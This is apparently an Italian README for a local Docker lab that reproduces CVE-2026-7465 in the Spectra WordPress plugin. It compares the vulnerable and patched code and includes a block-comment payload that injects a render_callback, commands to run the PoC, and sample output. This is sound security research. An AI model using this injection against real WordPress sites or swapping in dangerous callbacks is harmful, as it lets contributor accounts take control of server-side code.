
Laboratorio Docker locale per analizzare e riprodurre il CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks. Confronta le versioni vulnerabile e corretta con un PoC a minimo impatto che dimostra l'iniezione di render_callback.
Laboratorio Docker locale per analizzare e riprodurre CVE-2026-7465 nel plugin WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
Il laboratorio confronta:
vuln: Spectra 2.19.25patched: Spectra 2.19.26La prova è intenzionalmente a danno minimo. Non esegue comandi shell, non carica file, non crea utenti, né modifica direttamente il container. Il PoC crea un post bozza temporaneo di WordPress, verifica il comportamento dei blocchi renderizzati, quindi elimina la bozza.
CVE-2026-7465 è una vulnerabilità in Spectra Gutenberg Blocks in cui attributi di blocco Gutenberg controllati dall'utente potevano essere passati come argomenti di registrazione dei blocchi di WordPress.
Nella versione vulnerabile, Spectra registra dinamicamente i blocchi uagb/* analizzati utilizzando gli attributi dei blocchi dal contenuto del post:
$registry->register( $block['blockName'], $block['attrs'] );
Poiché un Collaboratore (Contributor) può creare contenuti di post contenenti commenti di blocchi Gutenberg, un utente autenticato con ruolo di Collaboratore può influenzare argomenti di registrazione come render_callback.
La versione 2.19.26 risolve il problema registrando il blocco con un array di argomenti vuoto:
$registry->register( $block['blockName'], array() );
Ciò impedisce che gli attributi dei blocchi controllati dal post diventino opzioni di registrazione PHP dei blocchi.
Prodotto:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
Versioni utilizzate in questo laboratorio:
vulnerable: 2.19.25
patched: 2.19.26
Il changelog di WordPress.org per 2.19.26 afferma che l'aggiornamento ha risolto un bug di sicurezza e riconosce Wordfence per la segnalazione responsabile.
La logica vulnerabile si trova in:
classes/class-uagb-init-blocks.php
Il codice vulnerabile verifica se un nome di blocco analizzato contiene il namespace uagb/. Se il blocco non è già registrato, lo registra dinamicamente.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
Il problema è il secondo argomento:
$block['attrs']
In Gutenberg, gli attributi dei blocchi possono essere memorizzati all'interno del contenuto del post, ad esempio:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Un Collaboratore può creare contenuti di post bozza. Pertanto, l'attaccante può influenzare $block['attrs'].
Quando questi attributi vengono passati a WP_Block_Type_Registry::register(), diventano argomenti di registrazione dei blocchi. Un argomento di registrazione sensibile è:
render_callback
Questo crea una primitiva di controllo dei callback.
Nella 2.19.26, Spectra registra ancora il nome del blocco uagb/* analizzato, ma non passa più gli attributi controllati dal post come argomenti di registrazione:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
Il cambiamento importante è:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Questo rimuove gli attributi controllati dall'attaccante dal percorso di registrazione del blocco.
maybe_serializeIl PoC non utilizza callback PHP pericolosi come system, exec, shell_exec o passthru.
Invece, utilizza:
maybe_serialize
Il contenuto del blocco di prova è:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Comportamento previsto:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
Questo dimostra il comportamento vulnerabile senza eseguire comandi o scrivere file.
Servizi:
db_vuln MariaDB per WordPress vulnerabile
db_patched MariaDB per WordPress corretto
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln setup WordPress one-shot per sito vulnerabile
seed_patched setup WordPress one-shot per sito corretto
Porte locali:
http://127.0.0.1:8181 -> WordPress vulnerabile
http://127.0.0.1:8182 -> WordPress corretto
Utente WordPress preconfigurato:
username: contributor
password: contributorpass123!
ruolo: contributor
Il PoC è solo HTTP. Interagisce con WordPress tramite login e richieste API REST.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Avvia da un ambiente pulito:
docker compose down -v --remove-orphans
docker compose up -d --build
Controlla i container:
docker compose ps
Controlla i log di seed:
docker compose logs seed_vuln seed_patched
Risultato atteso del seed:
[+] seed vuln: done
[+] seed patched: done
Testa il target vulnerabile:
python3 poc/poc.py -t http://127.0.0.1:8181
Verdetto atteso per vulnerabile:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Testa il target corretto:
python3 poc/poc.py -t http://127.0.0.1:8182
Verdetto atteso per corretto:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
Il confronto importante è:
raw_contains_marker
rendered_contains_marker
Sia il target vulnerabile che quello corretto dovrebbero mostrare:
raw_contains_marker: True
Questo conferma che lo stesso contenuto del blocco è stato salvato con successo in un post bozza temporaneo.
La differenza è nell'output renderizzato:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
Questo dimostra che la versione vulnerabile ha accettato il render_callback controllato dal post, mentre la versione corretta no.
Arresta e rimuovi container, reti e volumi:
docker compose down -v --remove-orphans
Rimuovi la cache Python se presente:
rm -rf poc/__pycache__
Questo repository è solo per ricerca sulla sicurezza locale e dimostrazione di portfolio.
Il PoC:
Non eseguire questo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione di test.
Pagina del Plugin WordPress.org: Spectra Gutenberg Blocks - Website Builder per l'Editor a Blocchi
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
Changelog di WordPress.org: aggiornamento di sicurezza 2.19.26 - lunedì 4 maggio 2026 attribuito a Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress Plugin SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/